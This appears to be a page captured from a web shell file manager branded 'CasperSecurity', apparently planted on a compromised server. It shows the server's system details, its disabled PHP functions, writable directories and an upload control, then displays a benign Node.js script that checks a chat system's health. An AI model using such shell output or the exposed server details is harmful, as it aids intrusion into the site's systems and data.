T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.ca/private_html/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.ca/private_html/scripts/test-chat-health.js
const { PrismaClient } = require('@prisma/client');

const prisma = new PrismaClient();

async function testChatHealth() {
  console.log('šŸ„ Testing chat system health...\n');

  try {
    // Test 1: Database connectivity
    console.log('1ļøāƒ£ Testing database connection...');
    await prisma.$connect();
    console.log('   āœ… Database connected successfully');

    // Test 2: Check users exist
    console.log('\n2ļøāƒ£ Checking users...');
    const users = await prisma.user.findMany({
      select: { id: true, name: true, email: true, role: true }
    });
    console.log(`   āœ… Found ${users.length} users:`);
    users.forEach(user => {
      console.log(`      - ${user.name} (${user.email}) [${user.role}]`);
    });

    if (users.length === 0) {
      console.log('   āš ļø  No users found - chat won\'t work without users');
      return;
    }

    // Test 3: Check chat rooms exist
    console.log('\n3ļøāƒ£ Checking chat rooms...');
    const rooms = await prisma.chatRoom.findMany({
      include: {
        participants: {
          include: { user: { select: { name: true } } }
        },
        _count: { select: { messages: true } }
      }
    });
    console.log(`   āœ… Found ${rooms.length} chat rooms:`);
    rooms.forEach(room => {
      console.log(`      - ${room.name} (${room.participants.length} participants, ${room._count.messages} messages)`);
    });

    if (rooms.length === 0) {
      console.log('   āš ļø  No chat rooms found - creating default rooms...');
      // Run the setup script
      require('./setup-chat-rooms.js');
      return;
    }

    // Test 4: Check chat participants
    console.log('\n4ļøāƒ£ Checking chat participants...');
    const participants = await prisma.chatParticipant.findMany({
      include: {
        user: { select: { name: true, email: true } },
        chatRoom: { select: { name: true } }
      }
    });
    console.log(`   āœ… Found ${participants.length} total participants`);

    // Test 5: Check for orphaned data
    console.log('\n5ļøāƒ£ Checking for data issues...');
    
    // Check for users not in any room
    const usersWithoutRooms = await prisma.user.findMany({
      where: {
        chatParticipants: {
          none: {}
        }
      },
      select: { name: true, email: true }
    });
    
    if (usersWithoutRooms.length > 0) {
      console.log(`   āš ļø  ${usersWithoutRooms.length} users not in any chat room:`);
      usersWithoutRooms.forEach(user => {
        console.log(`      - ${user.name} (${user.email})`);
      });
    } else {
      console.log('   āœ… All users are in at least one chat room');
    }

    // Test 6: API endpoint test
    console.log('\n6ļøāƒ£ API endpoints status:');
    console.log('   šŸ“” Testing these endpoints manually:');
    console.log('      GET  /api/chat/rooms');
    console.log('      GET  /api/chat/group/messages?chatRoomId=<room_id>');
    console.log('      POST /api/chat/group/messages');
    console.log('      WS   /_ws (WebSocket connection)');

    // Test 7: Summary and recommendations
    console.log('\nšŸ“‹ SUMMARY:');
    console.log(`   šŸ‘„ Users: ${users.length}`);
    console.log(`   šŸ’¬ Chat Rooms: ${rooms.length}`);
    console.log(`   šŸ”— Participants: ${participants.length}`);
    console.log(`   āš ļø  Users without rooms: ${usersWithoutRooms.length}`);

    console.log('\nšŸŽÆ RECOMMENDATIONS:');
    if (users.length < 2) {
      console.log('   - Create more users to test chat functionality');
    }
    if (rooms.length === 0) {
      console.log('   - Run: node scripts/setup-chat-rooms.js');
    }
    if (usersWithoutRooms.length > 0) {
      console.log('   - Add users to chat rooms');
    }
    
    console.log('\nšŸ“± TO TEST GROUP CHAT:');
    console.log('   1. Start the dev server: npm run dev');
    console.log('   2. Login as a user');
    console.log('   3. Navigate to: /group-chat');
    console.log('   4. Check WebSocket connection (should show green dot)');
    console.log('   5. Select a chat room and try sending a message');

    console.log('\nšŸ”§ TROUBLESHOOTING:');
    console.log('   - If WebSocket won\'t connect: Check browser console for errors');
    console.log('   - If no rooms show: Check browser Network tab for API errors');
    console.log('   - If messages don\'t send: Check session authentication');
    console.log('   - If stuck loading: Try logout/login to refresh session');

  } catch (error) {
    console.error('āŒ Chat health check failed:', error);
    
    if (error.code === 'P1001') {
      console.log('\nšŸ’” Database connection failed. Make sure:');
      console.log('   - Database is running');
      console.log('   - Environment variables are set correctly');
      console.log('   - Run: npx prisma db push');
    }
  } finally {
    await prisma.$disconnect();
  }
}

testChatHealth(); 

CasperSecurity Mini